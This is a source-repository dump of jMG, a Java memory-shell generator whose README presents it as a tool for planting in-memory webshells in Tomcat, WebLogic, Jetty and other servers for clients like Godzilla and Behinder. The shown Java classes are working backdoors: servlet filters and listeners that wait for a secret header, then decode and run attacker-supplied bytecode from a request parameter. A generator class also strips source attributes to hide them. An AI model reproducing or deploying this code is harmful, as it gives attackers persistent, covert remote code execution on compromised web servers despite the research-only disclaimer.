├── LICENSE ├── README.md ├── jmg-all ├── pom.xml └── src │ └── main │ └── java │ └── jmg │ └── all │ └── jMGApp.java ├── jmg-antsword ├── pom.xml └── src │ └── main │ └── java │ └── jmg │ └── antsword │ ├── generator │ └── AntSwordGenerator.java │ ├── memshell │ ├── AntSwordFilter.java │ ├── AntSwordJakartaFilter.java │ ├── AntSwordJakartaListener.java │ ├── AntSwordListener.java │ └── AntSwordValve.java │ └── util │ └── ShellUtil.java ├── jmg-behinder ├── pom.xml └── src │ └── main │ └── java │ └── jmg │ └── behinder │ ├── generator │ └── BehinderGenerator.java │ ├── memshell │ ├── BehinderFilter.java │ ├── BehinderInterceptor.java │ ├── BehinderJakartaFilter.java │ ├── BehinderJakartaListener.java │ ├── BehinderListener.java │ └── BehinderValve.java │ └── util │ └── ShellUtil.java ├── jmg-cli ├── pom.xml └── src │ └── main │ └── java │ └── jmg │ └── cli │ ├── CLIApp.java │ └── Console.java ├── jmg-core ├── pom.xml └── src │ └── main │ ├── java │ ├── jmg │ │ └── core │ │ │ ├── config │ │ │ ├── AbstractConfig.java │ │ │ └── Constants.java │ │ │ ├── format │ │ │ ├── BASE64Formater.java │ │ │ ├── BCELFormater.java │ │ │ ├── BCELoader.java │ │ │ ├── BCELoaderGenerator.java │ │ │ ├── BigIntegerFormater.java │ │ │ ├── IFormater.java │ │ │ ├── JARAgentFormater.java │ │ │ ├── JARFormater.java │ │ │ ├── JSPFormater.java │ │ │ └── JavaScriptFormater.java │ │ │ ├── generator │ │ │ ├── IShellGenerator.java │ │ │ └── InjectorGenerator.java │ │ │ ├── jMGCodeApi.java │ │ │ ├── template │ │ │ ├── ApusicFilterInjectorTpl.java │ │ │ ├── ApusicListenerInjectorTpl.java │ │ │ ├── BESFilterInjectorTpl.java │ │ │ ├── BESListenerInjectorTpl.java │ │ │ ├── GlassFishFilterInjectorTpl.java │ │ │ ├── GlassFishListenerInjectorTpl.java │ │ │ ├── InforSuiteFilterInjectorTpl.java │ │ │ ├── InforSuiteListenerInjectorTpl.java │ │ │ ├── JettyFilterInjectorTpl.java │ │ │ ├── JettyListenerInjectorTpl.java │ │ │ ├── ResinFilterInjectorTpl.java │ │ │ ├── ResinListenerInjectorTpl.java │ │ │ ├── SpringMVCAgentTransformer.java │ │ │ ├── SpringMVCInterceptorInjectorTpl.java │ │ │ ├── SpringWebFluxHandlerMethodInjectorTpl.java │ │ │ ├── TomcatAgentTransformer.java │ │ │ ├── TomcatFilterInjectorTpl.java │ │ │ ├── TomcatListenerInjectorTpl.java │ │ │ ├── TomcatValveInjectorTpl.java │ │ │ ├── TongWebListenerInjectorTpl.java │ │ │ ├── UndertowFilterInjectorTpl.java │ │ │ ├── UndertowListenerInjectorTpl.java │ │ │ ├── WebLogicFilterInjectorTpl.java │ │ │ ├── WebLogicListenerInjectorTpl.java │ │ │ ├── WebSphereFilterInjectorTpl.java │ │ │ ├── WebSphereListenerInjectorTpl.java │ │ │ ├── WildFlyFilterInjectorTpl.java │ │ │ └── WildFlyListenerInjectorTpl.java │ │ │ └── util │ │ │ ├── ClassNameUtil.java │ │ │ ├── CommonUtil.java │ │ │ ├── CtClassUtil.java │ │ │ ├── InjectorUtil.java │ │ │ ├── JDKBypassUtil.java │ │ │ ├── JavassistUtil.java │ │ │ ├── PackageNameUtil.java │ │ │ ├── RandomHttpHeaderUtil.java │ │ │ └── ResponseUtil.java │ └── org │ │ └── springframework │ │ └── web │ │ └── servlet │ │ └── AsyncHandlerInterceptor.java │ └── resources │ └── jmg-agent.jar ├── jmg-custom ├── pom.xml └── src │ ├── main │ └── java │ │ └── jmg │ │ └── custom │ │ └── generator │ │ └── CustomGenerator.java │ └── test │ └── java │ └── test.java ├── jmg-docs ├── 1.0.4 │ ├── README.md │ └── img │ │ ├── 1708846585021.png │ │ ├── 1708846851378.png │ │ ├── 1708847432299.png │ │ ├── 1708847448833.png │ │ ├── 1708847459275.png │ │ ├── 1708847507811.png │ │ ├── 1708847533913.png │ │ ├── 1708847546219.png │ │ ├── 1708847591532.png │ │ ├── 1708847605226.png │ │ ├── 1708847621706.png │ │ ├── 1708847681909.png │ │ ├── 1708847705412.png │ │ ├── 1708847745212.png │ │ ├── 1708847792621.png │ │ ├── 1708847802775.png │ │ ├── 1708847855479.png │ │ ├── 1708847867937.png │ │ ├── 1708847885651.png │ │ ├── 1708847896934.png │ │ ├── 1708847909642.png │ │ ├── 1708847921416.png │ │ ├── 1708847982473.png │ │ ├── 1708847996329.png │ │ ├── 1708848005979.png │ │ └── 1708848140183.png ├── 1.0.5 │ ├── README.md │ └── img │ │ ├── 1708845865802.png │ │ └── 1708845885725.png ├── 1.0.6 │ ├── README.md │ └── img │ │ ├── 1708844544858.png │ │ ├── 1708844556273.png │ │ ├── 1708844588193.png │ │ ├── 1708844598859.png │ │ ├── 1708844631477.png │ │ ├── 1708844642216.png │ │ ├── 1708844692315.png │ │ └── 1708844703467.png ├── 1.0.8 │ ├── README.md │ └── img │ │ ├── 1712860212581.png │ │ ├── 1712860232195.png │ │ ├── 1712860295605.png │ │ ├── 1712866128775.png │ │ ├── 1712866280281.png │ │ ├── 1712866419608.png │ │ ├── 1712867832438.png │ │ ├── 1712868077145.png │ │ ├── 1712868104094.png │ │ ├── 1712868281189.png │ │ ├── 1713209159695.png │ │ ├── 1713209182608.png │ │ ├── 1713209211285.png │ │ ├── 1713209265218.png │ │ ├── 1713209278067.png │ │ ├── 1713209302039.png │ │ ├── 1713209319058.png │ │ ├── 1713209337767.png │ │ ├── 1713209372043.png │ │ ├── 1713209382797.png │ │ ├── 1713209425091.png │ │ └── image-20240412045841947.png ├── README_EN.md └── img │ ├── gui.png │ └── gui_250101.png ├── jmg-extender ├── pom.xml └── src │ └── main │ └── java │ └── jmg │ └── extender │ ├── detector │ ├── DFSEchoDetector.java │ ├── DNSLogDetector.java │ ├── HTTPLogDetector.java │ └── SleepDetector.java │ ├── generator │ └── ExtenderGenerator.java │ └── util │ └── DetectorUtil.java ├── jmg-godzilla ├── pom.xml └── src │ └── main │ └── java │ └── jmg │ └── godzilla │ ├── generator │ └── GodzillaGenerator.java │ ├── memshell │ ├── GodzillaFilter.java │ ├── GodzillaInterceptor.java │ ├── GodzillaJakartaFilter.java │ ├── GodzillaJakartaListener.java │ ├── GodzillaListener.java │ ├── GodzillaValve.java │ └── GodzillaWebFluxHandlerMethod.java │ └── util │ └── ShellUtil.java ├── jmg-gui ├── pom.xml └── src │ └── main │ ├── java │ └── jmg │ │ └── gui │ │ ├── GUIApp.java │ │ ├── form │ │ ├── jMGForm.form │ │ └── jMGForm.java │ │ └── util │ │ ├── ComponentUtil.java │ │ ├── JExprUtil.java │ │ ├── MenuUtil.java │ │ ├── ResultUtil.java │ │ ├── ShellGeneratorUtil.java │ │ └── TextPaneUtil.java │ └── resources │ ├── messages_en.properties │ ├── messages_en.properties.bak │ ├── messages_zh.properties │ └── messages_zh.properties.bak ├── jmg-neoregeorg ├── pom.xml └── src │ └── main │ └── java │ └── jmg │ └── neoregeorg │ ├── generator │ └── NeoreGeorgGenerator.java │ ├── memshell │ ├── NeoreGeorgFilter.java │ ├── NeoreGeorgInterceptor.java │ ├── NeoreGeorgJakartaFilter.java │ ├── NeoreGeorgJakartaListener.java │ └── NeoreGeorgListener.java │ └── util │ └── ShellUtil.java ├── jmg-sdk ├── pom.xml └── src │ ├── main │ └── java │ │ └── jmg │ │ └── sdk │ │ ├── jMGenerator.java │ │ └── util │ │ ├── SDKResultUtil.java │ │ └── ShellGenerator.java │ └── test │ └── java │ └── SDKTest.java ├── jmg-suo5 ├── pom.xml └── src │ └── main │ └── java │ └── jmg │ └── suo5 │ ├── generator │ └── Suo5Generator.java │ ├── memshell │ ├── Suo5Filter.java │ ├── Suo5Interceptor.java │ ├── Suo5JakartaFilter.java │ ├── Suo5JakartaListener.java │ └── Suo5Listener.java │ └── util │ └── ShellUtil.java ├── jmg-woodpecker ├── pom.xml └── src │ └── main │ └── java │ └── me │ └── gv7 │ └── woodpecker │ ├── helper │ ├── AntSwordHelper.java │ ├── BehinderHelper.java │ ├── CustomHelper.java │ ├── GodzillaHelper.java │ ├── NeoreGeorgHelper.java │ ├── ProxyHelper.java │ ├── ShellHelper.java │ └── Suo5Helper.java │ ├── plugin │ ├── ExtenderHelperPlugin.java │ ├── ProxyHelperPlugin.java │ ├── ShellHelperPlugin.java │ └── WoodpeckerPluginManager.java │ └── util │ └── WoodpeckerResultUtil.java └── pom.xml /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2025 pen4uin 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

English | 中文

2 |

3 |

Java Memshell Generator

4 |
5 | GitHub watchers 6 | GitHub forks 7 | GitLab Stars 8 |
9 |
一款支持高度自定义的 Java 内存马生成工具
10 |

11 | 12 | 13 | 14 |
15 | 16 | > [!WARNING] 17 | > 本工具仅供安全研究和学习使用。使用者需自行承担因使用此工具产生的所有法律及相关责任。请确保你的行为符合当地的法律和规定。作者不承担任何责任。如不接受,请勿使用此工具。 18 | 19 |
20 | 21 | ## 功能 22 | 23 | | 中间件 | 框架 | 工具 (测试版本) | 内存马类型 | 输出格式 | 辅助模块 | 24 | | ------------------ | ------------- | ------------------------------------------------------------ | ------------- | ---------- | -------------- | 25 | | Tomcat | SpringMVC | [AntSword](https://github.com/AntSwordProject/antSword) (2.1.15) | Listener | BASE64 | 专项漏洞封装 | 26 | | Resin | SpringWebFlux | [Behinder](https://github.com/rebeyond/Behinder) (4.0.7) | Filter | BCEL | 表达式语句封装 | 27 | | WebLogic | | [Godzilla](https://github.com/BeichenDream/Godzilla) (4.0.1) | Interceptor | BIGINTEGER | | 28 | | Jetty | | [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg) (5.1.0) | HandlerMethod | CLASS | | 29 | | WebSphere | | [Suo5](https://github.com/zema1/suo5) (0.9.0) | TomcatValve | JAR | | 30 | | Undertow | | Custom | | JAR_AGENT | | 31 | | GlassFish | | | | JS | | 32 | | Apusic(金蝶) | | | | JSP | | 33 | | BES(宝兰德) | | | | | | 34 | | InforSuite(中创) | | | | | | 35 | | TongWeb(东方通) | | | | | | 36 | | | | | | | | 37 | 38 | ## 编译 39 | 40 | maven (v3.9.3) 41 | 42 | ```shell 43 | mvn package assembly:single 44 | ``` 45 | 46 | ## 使用 47 | 48 | **图形化** 49 | 50 | ```shell 51 | java -jar ./releases/jmg-gui-1.0.9.jar 52 | ``` 53 | 54 | **命令行** 55 | 56 | ```shell 57 | java -jar ./releases/jmg-cli-1.0.9.jar 58 | ``` 59 | 60 | **Woodpecker 插件** 61 | 62 | 将 jmg-woodpecker-1.0.9.jar 添加到 woodpecker 插件目录 63 | 64 | 65 | **第三方库 (Maven)** 66 | 67 | 1.将 jmg-sdk-1.0.9.jar 安装到本地 maven 仓库 68 | 69 | ```shell 70 | mvn install:install-file -Dfile=./releases/jmg-sdk-1.0.9.jar -DgroupId=jmg -DartifactId=jmg-sdk -Dversion=1.0.9 -Dpackaging=jar 71 | ``` 72 | 73 | 2.添加为依赖 74 | 75 | ```xml 76 | 77 | jmg 78 | jmg-sdk 79 | 1.0.9 80 | 81 | ``` 82 | 83 | 3.示例 84 | 85 | ``` 86 | // 基础配置 87 | AbstractConfig config = new AbstractConfig() {{ 88 | // 设置工具类型 89 | setToolType(Constants.TOOL_GODZILLA); 90 | // 设置中间件 or 框架 91 | setServerType(Constants.SERVER_TOMCAT); 92 | // 设置内存马类型 93 | setShellType(Constants.SHELL_LISTENER); 94 | // 设置输出格式为 BASE64 95 | setOutputFormat(Constants.FORMAT_BASE64); 96 | // 设置漏洞利用封装,默认不启用 97 | setGadgetType(Constants.GADGET_NONE); 98 | // 初始化基础配置 99 | build(); 100 | }}; 101 | 102 | jMGenerator generator = new jMGenerator(config); 103 | generator.genPayload(); 104 | generator.printPayload(); 105 | 106 | // 连接信息 107 | SDKResultUtil.printBasicInfo(config); 108 | SDKResultUtil.printDebugInfo(config); 109 | ``` 110 | 111 | ## 文档 112 | 113 | - [jMG v1.0.8](./jmg-docs/1.0.8/) 114 | - [jMG v1.0.6](./jmg-docs/1.0.6/) 115 | - [jMG v1.0.5](./jmg-docs/1.0.5/) 116 | - [jMG v1.0.4](./jmg-docs/1.0.4/) 117 | 118 | ## 致谢 119 | 120 | - https://github.com/c0ny1 121 | - https://github.com/whwlsfb 122 | - https://github.com/feihong-cs/memShell 123 | - https://github.com/su18/MemoryShell 124 | - https://github.com/BeichenDream/GodzillaMemoryShellProject 125 | 126 | ## 协议 127 | 128 | - MIT -------------------------------------------------------------------------------- /jmg-all/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | jmg 8 | java-memshell-generator 9 | 1.0.9 10 | 11 | 12 | jmg-all 13 | 14 | 15 | 8 16 | 8 17 | UTF-8 18 | 19 | 20 | 21 | jmg 22 | jmg-woodpecker 23 | ${parent.version} 24 | compile 25 | 26 | 27 | jmg 28 | jmg-sdk 29 | ${parent.version} 30 | compile 31 | 32 | 33 | jmg 34 | jmg-cli 35 | ${parent.version} 36 | compile 37 | 38 | 39 | jmg 40 | jmg-gui 41 | ${parent.version} 42 | compile 43 | 44 | 45 | 46 | 47 | 48 | 49 | org.apache.maven.plugins 50 | maven-assembly-plugin 51 | 3.6.0 52 | 53 | 54 | jar-with-dependencies 55 | 56 | 57 | 58 | jmg.all.jMGApp 59 | 60 | 61 | false 62 | ../releases 63 | 64 | 65 | 66 | make-assembly 67 | package 68 | 69 | single 70 | 71 | 72 | 73 | 74 | 75 | 76 | -------------------------------------------------------------------------------- /jmg-all/src/main/java/jmg/all/jMGApp.java: -------------------------------------------------------------------------------- 1 | package jmg.all; 2 | 3 | import jmg.core.config.Constants; 4 | 5 | public class jMGApp { 6 | public static void main(String[] args) throws Throwable { 7 | if (args.length < 1) { 8 | System.out.println("jmg usage:"); 9 | System.out.printf("1. java -jar jmg-all-%s.jar cli%n", Constants.JMG_VERSION); 10 | System.out.printf("2. java -jar jmg-all-%s.jar gui%n", Constants.JMG_VERSION); 11 | return; 12 | } 13 | 14 | switch (args[0]) { 15 | case "gui": 16 | jmg.gui.GUIApp.main(args); 17 | break; 18 | case "cli": 19 | jmg.cli.CLIApp.main(args); 20 | break; 21 | default: 22 | System.out.println("Invalid command. Please use either 'cli' or 'gui'."); 23 | break; 24 | } 25 | } 26 | } -------------------------------------------------------------------------------- /jmg-antsword/pom.xml: -------------------------------------------------------------------------------- 1 | 3 | 4.0.0 4 | 5 | jmg 6 | java-memshell-generator 7 | 1.0.9 8 | 9 | jmg-antsword 10 | 11 | 12 | 13 | ${parent.groupId} 14 | jmg-core 15 | ${parent.version} 16 | compile 17 | 18 | 19 | 20 | 21 | -------------------------------------------------------------------------------- /jmg-antsword/src/main/java/jmg/antsword/generator/AntSwordGenerator.java: -------------------------------------------------------------------------------- 1 | package jmg.antsword.generator; 2 | 3 | import javassist.ClassClassPath; 4 | import javassist.CtClass; 5 | import jmg.core.config.AbstractConfig; 6 | import jmg.core.config.Constants; 7 | import jmg.core.generator.IShellGenerator; 8 | import jmg.antsword.util.ShellUtil; 9 | import jmg.core.util.CommonUtil; 10 | import jmg.core.util.JavassistUtil; 11 | import jmg.core.util.ResponseUtil; 12 | public class AntSwordGenerator implements IShellGenerator { 13 | 14 | @Override 15 | public void initShell(AbstractConfig config) { 16 | if (config.getPass() == null) config.setPass(CommonUtil.genRandomLengthString(6)); 17 | } 18 | 19 | @Override 20 | public byte[] makeShell(AbstractConfig config) throws Exception { 21 | initShell(config); 22 | String shellName = ShellUtil.getShellName(config.getToolType(), config.getShellType()); 23 | String shellClassName = ShellUtil.getShellClassName(shellName); 24 | byte[] bytes = modifyShell(shellClassName, config); 25 | config.setShellBytes(bytes); 26 | config.setShellBytesLength(bytes.length); 27 | config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes))); 28 | return bytes; 29 | } 30 | 31 | @Override 32 | public byte[] modifyShell(String className, AbstractConfig config) { 33 | byte[] bytes = new byte[0]; 34 | try { 35 | pool.insertClassPath(new ClassClassPath(AntSwordGenerator.class)); 36 | CtClass ctClass = pool.getCtClass(className); 37 | ctClass.getClassFile().setVersionToJava5(); 38 | JavassistUtil.addFieldIfNotNull(ctClass, "pass", config.getPass()); 39 | JavassistUtil.addFieldIfNotNull(ctClass, "headerName", config.getHeaderName()); 40 | JavassistUtil.addFieldIfNotNull(ctClass, "headerValue", config.getHeaderValue()); 41 | JavassistUtil.setNameIfNotNull(ctClass, config.getShellClassName()); 42 | 43 | if (config.getShellType().equals(Constants.SHELL_LISTENER)) { 44 | String methodBody = ResponseUtil.getMethodBody(config.getServerType()); 45 | JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody); 46 | } 47 | if (config.getShellType().equals(Constants.SHELL_JAKARTA_LISTENER)) { 48 | String methodBody = ResponseUtil.getMethodBody(config.getServerType()); 49 | methodBody = methodBody.replace("javax.servlet.", "jakarta.servlet."); 50 | JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody); 51 | } 52 | JavassistUtil.removeSourceFileAttribute(ctClass); 53 | bytes = ctClass.toBytecode(); 54 | ctClass.detach(); 55 | } catch (Exception e) { 56 | e.printStackTrace(); 57 | throw new RuntimeException(e); 58 | } 59 | return bytes; 60 | } 61 | 62 | } 63 | -------------------------------------------------------------------------------- /jmg-antsword/src/main/java/jmg/antsword/memshell/AntSwordFilter.java: -------------------------------------------------------------------------------- 1 | package jmg.antsword.memshell; 2 | 3 | import javax.servlet.*; 4 | import javax.servlet.http.HttpServletRequest; 5 | import javax.servlet.http.HttpServletResponse; 6 | import java.io.IOException; 7 | import java.lang.reflect.Method; 8 | import java.net.URL; 9 | import java.net.URLClassLoader; 10 | 11 | public class AntSwordFilter implements Filter { 12 | public String pass; 13 | public String headerName; 14 | public String headerValue; 15 | 16 | public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { 17 | HttpServletRequest request = (HttpServletRequest) servletRequest; 18 | HttpServletResponse response = (HttpServletResponse) servletResponse; 19 | try { 20 | if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) { 21 | String cls = request.getParameter(pass); 22 | if (cls != null) { 23 | try { 24 | byte[] data = doBase64Decode(cls); 25 | URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); 26 | Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); 27 | method.setAccessible(true); 28 | Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length)); 29 | clazz.newInstance().equals(new Object[]{request, response}); 30 | } catch (Exception var7) { 31 | } 32 | } 33 | } else { 34 | filterChain.doFilter(servletRequest, servletResponse); 35 | } 36 | } catch (Exception e) { 37 | filterChain.doFilter(servletRequest, servletResponse); 38 | } 39 | } 40 | 41 | public byte[] doBase64Decode(String str) throws Exception { 42 | try { 43 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 44 | return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str))); 45 | } catch (Exception var5) { 46 | Class clazz = Class.forName("java.util.Base64"); 47 | Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); 48 | return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str))); 49 | } 50 | } 51 | 52 | public void init(FilterConfig filterConfig) throws ServletException { 53 | } 54 | 55 | public void destroy() { 56 | } 57 | } -------------------------------------------------------------------------------- /jmg-antsword/src/main/java/jmg/antsword/memshell/AntSwordJakartaFilter.java: -------------------------------------------------------------------------------- 1 | package jmg.antsword.memshell; 2 | 3 | import jakarta.servlet.*; 4 | import jakarta.servlet.http.HttpServletRequest; 5 | import jakarta.servlet.http.HttpServletResponse; 6 | import java.io.IOException; 7 | import java.lang.reflect.Method; 8 | import java.net.URL; 9 | import java.net.URLClassLoader; 10 | 11 | public class AntSwordJakartaFilter implements Filter { 12 | public String pass; 13 | public String headerName; 14 | public String headerValue; 15 | 16 | public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { 17 | HttpServletRequest request = (HttpServletRequest) servletRequest; 18 | HttpServletResponse response = (HttpServletResponse) servletResponse; 19 | try { 20 | if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) { 21 | String cls = request.getParameter(pass); 22 | if (cls != null) { 23 | try { 24 | byte[] data = doBase64Decode(cls); 25 | URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); 26 | Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); 27 | method.setAccessible(true); 28 | Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length)); 29 | clazz.newInstance().equals(new Object[]{request, response}); 30 | } catch (Exception var7) { 31 | } 32 | } 33 | } else { 34 | filterChain.doFilter(servletRequest, servletResponse); 35 | } 36 | } catch (Exception e) { 37 | filterChain.doFilter(servletRequest, servletResponse); 38 | } 39 | } 40 | 41 | public byte[] doBase64Decode(String str) throws Exception { 42 | try { 43 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 44 | return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str))); 45 | } catch (Exception var5) { 46 | Class clazz = Class.forName("java.util.Base64"); 47 | Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); 48 | return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str))); 49 | } 50 | } 51 | 52 | public void init(FilterConfig filterConfig) throws ServletException { 53 | } 54 | 55 | public void destroy() { 56 | } 57 | } -------------------------------------------------------------------------------- /jmg-antsword/src/main/java/jmg/antsword/memshell/AntSwordJakartaListener.java: -------------------------------------------------------------------------------- 1 | package jmg.antsword.memshell; 2 | 3 | import jakarta.servlet.ServletRequestEvent; 4 | import jakarta.servlet.ServletRequestListener; 5 | import jakarta.servlet.http.HttpServletRequest; 6 | import jakarta.servlet.http.HttpServletResponse; 7 | import java.lang.reflect.Field; 8 | import java.lang.reflect.Method; 9 | import java.net.URL; 10 | import java.net.URLClassLoader; 11 | 12 | public class AntSwordJakartaListener implements ServletRequestListener { 13 | public String pass; 14 | public String headerName; 15 | public String headerValue; 16 | 17 | public void requestDestroyed(ServletRequestEvent servletRequestEvent) { 18 | } 19 | 20 | public void requestInitialized(ServletRequestEvent servletRequestEvent) { 21 | HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); 22 | try { 23 | HttpServletResponse response = getResponseFromRequest(request); 24 | if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) { 25 | String cls = request.getParameter(pass); 26 | if (cls != null) { 27 | try { 28 | byte[] data = base64Decode(cls); 29 | URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); 30 | Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); 31 | method.setAccessible(true); 32 | Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length)); 33 | clazz.newInstance().equals(new Object[]{request, response}); 34 | response.flushBuffer(); 35 | } catch (Exception var7) { 36 | } 37 | } 38 | } 39 | 40 | } catch (Exception ignored) { 41 | } 42 | } 43 | 44 | private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception { 45 | return null; 46 | } 47 | 48 | private static synchronized Object getFV(Object var0, String var1) throws Exception { 49 | Field var2 = null; 50 | Class var3 = var0.getClass(); 51 | 52 | while (var3 != Object.class) { 53 | try { 54 | var2 = var3.getDeclaredField(var1); 55 | break; 56 | } catch (NoSuchFieldException var5) { 57 | var3 = var3.getSuperclass(); 58 | } 59 | } 60 | 61 | if (var2 == null) { 62 | throw new NoSuchFieldException(var1); 63 | } else { 64 | var2.setAccessible(true); 65 | return var2.get(var0); 66 | } 67 | } 68 | 69 | public byte[] base64Decode(String str) throws Exception { 70 | try { 71 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 72 | return (byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)); 73 | } catch (Exception var5) { 74 | Class clazz = Class.forName("java.util.Base64"); 75 | Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); 76 | return (byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)); 77 | } 78 | } 79 | 80 | } 81 | -------------------------------------------------------------------------------- /jmg-antsword/src/main/java/jmg/antsword/memshell/AntSwordListener.java: -------------------------------------------------------------------------------- 1 | package jmg.antsword.memshell; 2 | 3 | import javax.servlet.ServletRequestEvent; 4 | import javax.servlet.ServletRequestListener; 5 | import javax.servlet.http.HttpServletRequest; 6 | import javax.servlet.http.HttpServletResponse; 7 | import java.lang.reflect.Field; 8 | import java.lang.reflect.Method; 9 | import java.net.URL; 10 | import java.net.URLClassLoader; 11 | 12 | public class AntSwordListener implements ServletRequestListener { 13 | public String pass; 14 | public String headerName; 15 | public String headerValue; 16 | 17 | public void requestDestroyed(ServletRequestEvent servletRequestEvent) { 18 | } 19 | 20 | public void requestInitialized(ServletRequestEvent servletRequestEvent) { 21 | HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); 22 | try { 23 | HttpServletResponse response = getResponseFromRequest(request); 24 | if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) { 25 | String cls = request.getParameter(pass); 26 | if (cls != null) { 27 | try { 28 | byte[] data = base64Decode(cls); 29 | URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); 30 | Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); 31 | method.setAccessible(true); 32 | Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length)); 33 | clazz.newInstance().equals(new Object[]{request, response}); 34 | response.flushBuffer(); 35 | } catch (Exception var7) { 36 | } 37 | } 38 | } 39 | 40 | } catch (Exception ignored) { 41 | } 42 | } 43 | 44 | private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception { 45 | return null; 46 | } 47 | 48 | private static synchronized Object getFV(Object var0, String var1) throws Exception { 49 | Field var2 = null; 50 | Class var3 = var0.getClass(); 51 | 52 | while (var3 != Object.class) { 53 | try { 54 | var2 = var3.getDeclaredField(var1); 55 | break; 56 | } catch (NoSuchFieldException var5) { 57 | var3 = var3.getSuperclass(); 58 | } 59 | } 60 | 61 | if (var2 == null) { 62 | throw new NoSuchFieldException(var1); 63 | } else { 64 | var2.setAccessible(true); 65 | return var2.get(var0); 66 | } 67 | } 68 | 69 | public byte[] base64Decode(String str) throws Exception { 70 | try { 71 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 72 | return (byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)); 73 | } catch (Exception var5) { 74 | Class clazz = Class.forName("java.util.Base64"); 75 | Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); 76 | return (byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)); 77 | } 78 | } 79 | 80 | } 81 | -------------------------------------------------------------------------------- /jmg-antsword/src/main/java/jmg/antsword/memshell/AntSwordValve.java: -------------------------------------------------------------------------------- 1 | package jmg.antsword.memshell; 2 | 3 | import org.apache.catalina.Valve; 4 | import org.apache.catalina.connector.Request; 5 | import org.apache.catalina.connector.Response; 6 | 7 | import javax.servlet.ServletException; 8 | import java.io.IOException; 9 | import java.lang.reflect.Method; 10 | import java.net.URL; 11 | import java.net.URLClassLoader; 12 | 13 | 14 | public class AntSwordValve extends ClassLoader implements Valve { 15 | protected Valve next; 16 | protected boolean asyncSupported; 17 | 18 | public String pass; 19 | 20 | public String headerName; 21 | 22 | public String headerValue; 23 | 24 | public AntSwordValve() { 25 | } 26 | 27 | public AntSwordValve(ClassLoader c) { 28 | super(c); 29 | } 30 | 31 | public Class g(byte[] b) { 32 | return super.defineClass(b, 0, b.length); 33 | } 34 | 35 | @Override 36 | public Valve getNext() { 37 | return this.next; 38 | } 39 | 40 | @Override 41 | public void setNext(Valve valve) { 42 | this.next = valve; 43 | } 44 | 45 | @Override 46 | public boolean isAsyncSupported() { 47 | return this.asyncSupported; 48 | } 49 | 50 | @Override 51 | public void backgroundProcess() { 